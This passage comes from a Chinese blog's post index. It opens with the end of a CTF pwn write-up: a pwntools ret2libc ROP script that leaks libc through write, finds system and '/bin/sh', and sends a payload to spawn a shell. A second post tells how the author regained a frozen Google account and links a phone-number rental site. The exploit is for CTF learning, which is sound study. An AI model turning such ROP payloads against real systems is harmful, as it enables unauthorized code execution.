class="token punctuation">.</span>ljust<span class="token punctuation">(</span><span class="token number">1024</span><span class="token punctuation">,</span><span class="token string">"B"</span><span class="token punctuation">)</span>r<span class="token punctuation">.</span>send<span class="token punctuation">(</span>payload<span class="token punctuation">)</span>write_addr <span class="token operator">=</span> u64<span class="token punctuation">(</span>r<span class="token punctuation">.</span>recv<span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">)</span>log<span class="token punctuation">.</span>info <span class="token punctuation">(</span><span class="token string">"write_addr => %#x"</span><span class="token punctuation">,</span>write_addr<span class="token punctuation">)</span><span class="token keyword">from</span> LibcSearcher <span class="token keyword">import</span> <span class="token operator">*</span>libc <span class="token operator">=</span> LibcSearcher<span class="token punctuation">(</span><span class="token string">'write'</span><span class="token punctuation">,</span>write_addr<span class="token punctuation">)</span>libc_off<span class="token operator">=</span>write_addr <span class="token operator">-</span> libc<span class="token punctuation">.</span>dump<span class="token punctuation">(</span><span class="token string">'write'</span><span class="token punctuation">)</span><span class="token comment" spellcheck="true">#计算libc的偏移</span>sys_addr <span class="token operator">=</span> libc_off <span class="token operator">+</span> libc<span class="token punctuation">.</span>dump<span class="token punctuation">(</span><span class="token string">'system'</span><span class="token punctuation">)</span><span class="token comment" spellcheck="true">#计算system地址</span>binsh_addr <span class="token operator">=</span> libc_off <span class="token operator">+</span> libc<span class="token punctuation">.</span>dump<span class="token punctuation">(</span><span class="token string">'str_bin_sh'</span><span class="token punctuation">)</span><span class="token comment" spellcheck="true">#计算'/bin/sh'地址</span>payload1 <span class="token operator">=</span><span class="token string">"A"</span><span class="token operator">*</span><span class="token number">24</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>pop4_addr<span class="token punctuation">)</span><span class="token operator">+</span> p64<span class="token punctuation">(</span>pop_rdi<span class="token punctuation">)</span><span class="token operator">+</span>p64<span class="token punctuation">(</span>binsh_addr<span class="token punctuation">)</span><span class="token operator">+</span>p64<span class="token punctuation">(</span>sys_addr<span class="token punctuation">)</span>payload1 <span class="token operator">+=</span> p64<span class="token punctuation">(</span>start_addr<span class="token punctuation">)</span>payload1 <span class="token operator">=</span> payload1<span class="token punctuation">.</span>ljust<span class="token punctuation">(</span><span class="token number">1024</span><span class="token punctuation">,</span><span class="token string">"B"</span><span class="token punctuation">)</span>r<span class="token punctuation">.</span>recv<span class="token punctuation">(</span><span class="token punctuation">)</span>r<span class="token punctuation">.</span>send<span class="token punctuation">(</span>payload1<span class="token punctuation">)</span>r<span class="token punctuation">.</span>interactive<span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>注意:<br>使用LibcSearcher方式,python要安装了相对应模块,还需要下载对应的libc版本。<strong>我第二种方法只是给了一个模板,未使用此方法getshell。</strong><br><strong>参考博客:</strong><a href="https://blog.csdn.net/weixin_43092232/article/details/104996280" target="_blank" rel="noopener">Ubuntu下LibcSearcher的安装和使用方法</a></p><script> document.querySelectorAll('.github-emoji') .forEach(el => { if (!el.dataset.src) { return; } const img = document.createElement('img'); img.style = 'display:none !important;'; img.src = el.dataset.src; img.addEventListener('error', () => { img.remove(); el.style.color = 'inherit'; el.style.backgroundImage = 'none'; el.style.background = 'none'; }); img.addEventListener('load', () => { img.remove(); }); document.body.appendChild(img); }); </script>]]></content>
<categories>
<category> pwn </category>
</categories>
<tags>
<tag> rop </tag>
</tags>
</entry>
<entry>
<title>Google账号活动异常怎么办?|试了好多办法终于解决</title>
<link href="/2020/03/21/google/"/>
<url>/2020/03/21/google/</url>
<content type="html"><![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>我在copySDN上的帖子竟然被删了…给的理由是翻墙,wok…<br>突然发现可以直接导出md再传到自己的blog上哈哈哈!<br>说到google账户,我想不少人用google的时候都是以访客身份登录的。<br>但是,一个google账户有些时候还是很有用的,比如在YouTube上面下载视频(某次比赛就用到了),或者你看某些需要确认你年龄的视频(手动狗头)!!总而言之,你会忍不住想要注册一个账号!!!<br>当然,现在注册账号国内手机号不一定可以了,反正我当初的时候还可以…但是由于登录地点经常不同(为啥?自己想),被检测到就会被封号!!<br><strong>敲黑板!!!</strong><br><strong>现在还没被封的赶紧去开两步验证!</strong></p><hr><p>下面开始我的悲惨故事:<br>终于有一天,google查到了我的头上,在我还不知道有封号这会事之前,给我把账号冻结了。冻结了就冻结了吧,反正我绑了邮箱(<strong>当初没有绑定手机号!!!切记赶紧去绑!!</strong>),我就登邮箱啊,结果一切都验证完之后,它会跳出来一个这个界面:<br><img src="https://img-blog.csdnimg.cn/20200224212525221.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70" alt=""><br>这个我再填自己手机号就报错了,无法验证,一开始我还以为是我手机号的问题,我试了好多其他的都不行(我还用香港的手机号试了都不行….)绝望.jpg!<br>而且这时候,我再去注册一个google号,发现也注册不了了!绝望.GIF!</p><hr><h1 id="我是怎么解决的?"><a href="#我是怎么解决的?" class="headerlink" title="我是怎么解决的?"></a>我是怎么解决的?</h1><p>下面是我逛遍某乎、某宝、某度、v2ex、google…的经历</p><h2 id="Part1"><a href="#Part1" class="headerlink" title="Part1"></a>Part1</h2><p><a href="https://www.zhihu.com/question/39866455" target="_blank" rel="noopener">某乎链接</a><br><strong>选择尝试其他问题</strong><br><img src="https://img-blog.csdnimg.cn/20200224213245757.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70" alt=""><br>2016年的老贴,反正我按他说的做没成功…</p><h2 id="Part2"><a href="#Part2" class="headerlink" title="Part2"></a>Part2</h2><p><img src="https://img-blog.csdnimg.cn/20200224213504469.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70" alt=""><br>买手机号,反正我是没有尝试去买,但我试过香港的手机号,一样不能用于验证。</p><h2 id="Part3"><a href="#Part3" class="headerlink" title="Part3"></a>Part3</h2><p><a href="https://v2ex.com/t/292377" target="_blank" rel="noopener">v2ex上的贴子</a><br><img src="https://img-blog.csdnimg.cn/20200224214022949.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70" alt=""><br>给google发邮件,知乎上也有人提到了这种方法。<br>附上他们给的邮箱地址:<a href="mailto:accounts-support@google.com">accounts-support@google.com</a><br>这种方法我试了最久,发了第五封邮件的时候终于回我了。<br><img src="https://img-blog.csdnimg.cn/2020022421424795.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70" alt=""><br>我第一眼还以为给了我个验证的链接!看到no-reply我心就凉了…<br>咋地??几年过去这个账号被弃用了??(我有理由怀疑是我被拉黑了…我前面几天发的就回了这一封,但是回了这一封之后我再发就是秒回了!!!)<br>邮箱也不行,我吐了!</p><h2 id="Part4"><a href="#Part4" class="headerlink" title="Part4"></a>Part4</h2><p>最后,我用了最直接的方法解决了这个问题。找了个在英国的熟人,用他手机号接收了验证码。结果如下:<br><img src="https://img-blog.csdnimg.cn/20200224214737603.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70" alt=""><br>又考虑到这个方法不太具有普适性,所以我附了一个可以租用外国电话号码的网址,<a href="https://www.smspva.com/" target="_blank" rel="noopener">点击此处</a></p><p><strong>最后祝大家都能成功解决问题!</strong></p><script> document.querySelectorAll('.github-emoji') .forEach(el => { if (!el.dataset.src) { return; } const img = document.createElement('img'); img.style = 'display:none !important;'; img.src = el.dataset.src; img.addEventListener('error', () => { img.remove(); el.style.color = 'inherit'; el.style.backgroundImage = 'none'; el.style.background = 'none'; }); img.addEventListener('load', () => { img.remove(); }); document.body.appendChild(img); }); </script>]]></content>
<categories>
<category> Google </category>
</categories>
<tags>
<tag> -疑难杂症 -Google账号 </tag>
</tags>
</entry>
</search>